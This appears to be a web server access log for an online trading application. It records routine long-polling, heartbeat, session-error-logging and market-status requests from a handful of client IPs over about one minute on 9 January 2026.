[09/Jan/2026:15:38:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944584884 HTTP/1.1" -
[09/Jan/2026:15:38:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944599984 HTTP/1.1" -
[09/Jan/2026:15:38:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944586505 HTTP/1.1" -
[09/Jan/2026:15:38:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944585852 HTTP/1.1" -
[09/Jan/2026:15:38:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944589027 HTTP/1.1" -
[09/Jan/2026:15:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944605044 HTTP/1.1" -
[09/Jan/2026:15:38:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944590883 HTTP/1.1" -
[09/Jan/2026:15:38:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944591548 HTTP/1.1" -
[09/Jan/2026:15:38:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944590897 HTTP/1.1" -
[09/Jan/2026:15:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944594058 HTTP/1.1" -
[09/Jan/2026:15:38:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944610112 HTTP/1.1" -
[09/Jan/2026:15:38:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944596577 HTTP/1.1" -
[09/Jan/2026:15:38:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944596891 HTTP/1.1" -
[09/Jan/2026:15:38:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944596041 HTTP/1.1" -
[09/Jan/2026:15:38:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944599094 HTTP/1.1" -
[09/Jan/2026:15:38:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944615145 HTTP/1.1" -
[09/Jan/2026:15:38:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944601641 HTTP/1.1" -
[09/Jan/2026:15:38:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944601177 HTTP/1.1" -
[09/Jan/2026:15:38:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944602887 HTTP/1.1" -
[09/Jan/2026:15:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944604122 HTTP/1.1" -
[09/Jan/2026:15:38:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944620177 HTTP/1.1" -
[09/Jan/2026:15:38:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944606682 HTTP/1.1" -
[09/Jan/2026:15:38:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944606304 HTTP/1.1" -
[09/Jan/2026:15:38:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944608886 HTTP/1.1" -
[09/Jan/2026:15:38:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944609165 HTTP/1.1" -
[09/Jan/2026:15:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944625258 HTTP/1.1" -
[09/Jan/2026:15:39:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944611726 HTTP/1.1" -
[09/Jan/2026:15:39:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944611494 HTTP/1.1" -
[09/Jan/2026:15:39:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944614194 HTTP/1.1" -
[09/Jan/2026:15:39:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944614880 HTTP/1.1" -
[09/Jan/2026:15:39:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944630322 HTTP/1.1" -
[09/Jan/2026:15:39:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944616753 HTTP/1.1" -
[09/Jan/2026:15:39:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944616566 HTTP/1.1" -
[09/Jan/2026:15:39:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944619232 HTTP/1.1" -
[09/Jan/2026:15:39:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944635349 HTTP/1.1" -
[09/Jan/2026:15:39:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944620892 HTTP/1.1" -
[09/Jan/2026:15:39:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944621791 HTTP/1.1" -
[09/Jan/2026:15:39:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944621629 HTTP/1.1" -
[09/Jan/2026:15:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944624251 HTTP/1.1" -
[09/Jan/2026:15:39:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944640374 HTTP/1.1" -
[09/Jan/2026:15:39:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944626818 HTTP/1.1" -
[09/Jan/2026:15:39:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944626889 HTTP/1.1" -
[09/Jan/2026:15:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944626817 HTTP/1.1" -
[09/Jan/2026:15:39:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944629300 HTTP/1.1" -
[09/Jan/2026:15:39:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944645393 HTTP/1.1" -
[09/Jan/2026:15:39:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944631873 HTTP/1.1" -
[09/Jan/2026:15:39:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944632880 HTTP/1.1" -
[09/Jan/2026:15:39:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944632128 HTTP/1.1" -
[09/Jan/2026:15:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944634342 HTTP/1.1" -
[09/Jan/2026:15:39:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944650425 HTTP/1.1" -
[09/Jan/2026:15:39:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944636897 HTTP/1.1" -
[09/Jan/2026:15:39:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944637374 HTTP/1.1" -
[09/Jan/2026:15:39:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944638887 HTTP/1.1" -
[09/Jan/2026:15:39:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944639402 HTTP/1.1" -
[09/Jan/2026:15:39:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944655451 HTTP/1.1" -
[09/Jan/2026:15:39:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944641939 HTTP/1.1" -
[09/Jan/2026:15:39:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944642434 HTTP/1.1" -
